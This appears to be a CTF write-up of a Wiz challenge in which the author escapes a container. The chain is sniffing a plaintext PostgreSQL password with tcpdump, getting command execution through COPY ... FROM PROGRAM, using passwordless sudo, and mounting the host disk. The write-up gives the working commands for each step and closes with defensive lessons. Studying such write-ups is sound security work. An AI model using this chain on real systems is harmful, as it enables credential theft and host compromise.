Contain Me If You Can CTF: Container Escape via a Plaintext Postgres Connection

Challenge: Contain Me If You Can (Challenge #2)

Author: Sagi Tzadik

Platform: Wiz Cloud Security Championship

Category: Cloud Security / Container Escape

Reading Time: 14 min

Contain Me If You Can: Challenge Brief

You've found yourself in a containerized environment. To get the flag, you must move laterally and escape your container. Can you do it? The flag is placed at /flag on the host's file system. Good luck!

The escape does not use a kernel exploit. It chains a sniffed plaintext PostgreSQL credential, a superuser COPY ... FROM PROGRAM RCE on the neighbouring database container, a passwordless sudo misconfiguration, and a host block device exposed to that container. Four ordinary misconfigurations stacked into a full host takeover.

The Exploit Chain at a Glance

  1. From our container, spot a plaintext TCP connection to a PostgreSQL server on the adjacent container.
  2. Capture the PostgreSQL startup packet with tcpdump and read the username and password straight out of the cleartext.
  3. Log in as a Postgres superuser and get RCE via COPY ... FROM PROGRAM.
  4. The postgres account has passwordless sudo; mount the host block device /dev/vda and read /flag.

Step 1: Reconnaissance

The container drops us straight into a root shell:

root@63b462467e78:/#

Standard initial enumeration:

id; hostname
ip -4 addr
ps auxww
ss -antp

Key findings:

  • Running as root inside the container
  • IP: 172.19.0.3
  • Only process running is sleep infinity (PID 1) plus our bash shell
  • An established TCP connection to 172.19.0.2:5432, which is PostgreSQL
tcp  0  0  172.19.0.3:33702  172.19.0.2:5432  ESTABLISHED

This is the key observation (Hint 1). A persistent connection to a PostgreSQL server on the adjacent container, with no process visible in our namespace owning it (the client runs in a separate PID namespace). Useful tools were also confirmed present: tcpdump, psql, nc, ncat, python3, perl.

Step 2: No Credentials Lying Around

Before reaching for the network, the obvious local sources came up empty:

cat /proc/1/environ | tr '\0' '\n'
env
find / -maxdepth 4 \( -name '.pgpass' -o -name '*.env' -o -iname '*pgpass*' \) 2>/dev/null
cat /root/.bash_history /root/.psql_history /root/.pgpass 2>/dev/null

Nothing useful in environment variables or config files. The credentials had to come from the wire.

Step 3: Capturing Postgres Credentials with tcpdump

PostgreSQL's wire protocol sends the startup packet (including the password, depending on auth method) in cleartext when TLS is not enforced (Hint 2). The catch: PostgreSQL does not re-authenticate on an existing connection, so a capture of the live socket only showed periodic keepalive queries:

tcpdump -i eth0 -n -A -s 0 'tcp port 5432' -w /tmp/pg.pcap &
Q....SELECT now();
2026-05-24 18:52:20.323279+00
SELECT 1

Several attempts to forcibly kill the socket and force a fresh handshake failed:

  • Python source-port steal failed with "address already in use" because the existing connection still held the port.
  • Socket inode injection found the inode in /proc/net/tcp, but no process in our PID namespace owned it, so there was no /proc/<pid>/fd entry to act on.
  • iptables was not available; tc netem was, but more complex than needed.

The simple answer: the client reconnects and re-authenticates automatically about every 30 seconds. Leaving the capture running grabbed a fresh startup packet on its own. Since strings was not installed, Python pulled the printable strings out of the pcap:

data = open('/tmp/pg.pcap','rb').read()
import re
for m in re.finditer(b'[\x20-\x7e]{4,}', data):
    print(m.group().decode())

The plaintext startup packet fell right out:

user
user
database
mydatabase
application_name
psql
SecretPostgreSQLPassword

Credentials recovered: username user, password SecretPostgreSQLPassword, database mydatabase.

Step 4: Logging In as a Postgres Superuser

psql -h 172.19.0.2 -p 5432 -U user -d mydatabase
# Password: SecretPostgreSQLPassword

Connected to PostgreSQL 16.8. Checking the role with \du showed the user account had superuser privileges, full administrative access to the database.

Step 5: RCE via COPY FROM PROGRAM

PostgreSQL's COPY ... FROM PROGRAM lets a superuser run arbitrary shell commands and capture their output (Hint 3). Create a table to hold output, then confirm execution:

CREATE TABLE cmdout(line text);

TRUNCATE cmdout;
COPY cmdout FROM PROGRAM 'id';
SELECT * FROM cmdout;
uid=70(postgres) gid=70(postgres) groups=10(wheel),70(postgres)

We have RCE as the postgres user on the database container (172.19.0.2), and crucially, that user is a member of the wheel group.

Step 6: Container Escape Enumeration

The core_pattern escape (Hint 5) needs a writable /proc/sys/kernel/core_pattern, which the write attempt failed silently against. But the device and privilege enumeration pointed somewhere better.

Host block devices are visible:

COPY cmdout FROM PROGRAM 'ls -la /dev/ | grep -v "^total"';

brw-------  1 root root  254, 0  May 24 19:43 vda
brw-------  1 root root  254, 16 May 24 19:43 vdb

But no effective capabilities, so a direct mount as postgres would fail, and nsenter -t 1 into PID 1's namespaces also failed:

COPY cmdout FROM PROGRAM 'cat /proc/self/status | grep CapEff';
-- CapEff: 0000000000000000

The pivot (Hint 4): sudo is installed on the database container, and the postgres user has it passwordless ("a really easy and convenient way to become root for maintenance"):

COPY cmdout FROM PROGRAM 'sudo -n id 2>&1; echo rc=$?';

uid=0(root) gid=0(root) groups=0(root),1(bin),...,10(wheel),...
rc=0

Passwordless sudo works, almost certainly via %wheel ALL=(ALL) NOPASSWD: ALL in sudoers. The missing capabilities no longer matter, because we can become real root.

Step 7: Mount the Host Filesystem and Read the Flag

Make a mount point in /tmp (the only writable directory for postgres), mount the host root disk /dev/vda with root via sudo, and read the flag:

COPY cmdout FROM PROGRAM 'mkdir -p /tmp/host; sudo -n mount /dev/vda /tmp/host 2>&1; echo rc=$?';
-- rc=0

COPY cmdout FROM PROGRAM 'sudo ls /tmp/host/';
-- bin  boot  dev  etc  flag  home  lib  ...  var

COPY cmdout FROM PROGRAM 'sudo cat /tmp/host/flag 2>&1';
WIZ_CTF{REDACTED}

Contain Me If You Can CTF Flag

WIZ_CTF{REDACTED}

Attack Chain

[Our container 172.19.0.3]
    |
    | Observe plaintext TCP to 172.19.0.2:5432
    | Capture the PostgreSQL startup packet with tcpdump
    | Extract: user / SecretPostgreSQLPassword / mydatabase
    v
[PostgreSQL container 172.19.0.2]
    |
    | psql login as a superuser
    | COPY cmdout FROM PROGRAM '...' -> RCE as postgres (wheel group)
    | sudo -n -> passwordless root
    | mount /dev/vda /tmp/host
    v
[Host filesystem]
    |
    | cat /tmp/host/flag
    v
WIZ_CTF{REDACTED}

Key Vulnerabilities

Vulnerability Impact
Plaintext PostgreSQL connection on the internal networkCredential capture via tcpdump
PostgreSQL superuser granted to an application accountFull COPY FROM PROGRAM RCE
Passwordless sudo for postgres/wheel on the DB containerPrivilege escalation to root
Host block device /dev/vda exposed to the containerFull host filesystem access

Contain Me If You Can: Lessons Learned

  1. Encrypt internal traffic too. "Internal" is not a trust boundary. TLS for PostgreSQL is trivial to configure, and it turns the cleartext startup packet (the entire first link of this chain) into noise.
  2. Application accounts should never be database superusers. A least-privilege role with only the table grants it needs cannot run COPY ... FROM PROGRAM. Superuser on the app account was the difference between a credential leak and full RCE.
  3. Passwordless sudo for a service account is a critical misconfiguration, especially when that account is reachable through network exploitation. Convenience for "maintenance" became the privilege-escalation primitive.
  4. Don't expose host block devices to containers. Once /dev/vda is visible and something in the container can become root, the container boundary is gone. Container breakout rarely needs a kernel exploit when an adjacent service is this generous.

Contain Me If You Can: Final Thoughts

This challenge is a tidy reminder that container escapes are usually a story about the neighbours, not the kernel. Our starting container was a dead end on its own: root, but capability-stripped, no host devices it could use, nothing to escalate. The entire path ran through the database container next door, and every link was a configuration choice a real team could plausibly make for "convenience" - plaintext Postgres, a superuser app account, passwordless sudo, a mounted host disk.

Defense in depth is the moral. Any single one of those four fixes (TLS, least-privilege DB role, no passwordless sudo, no exposed block device) breaks the chain. The flag says it best: the guests turned into hosts.

Challenge created by Sagi Tzadik as part of the Wiz Cloud Security Championship. Writeup completed: May 2026.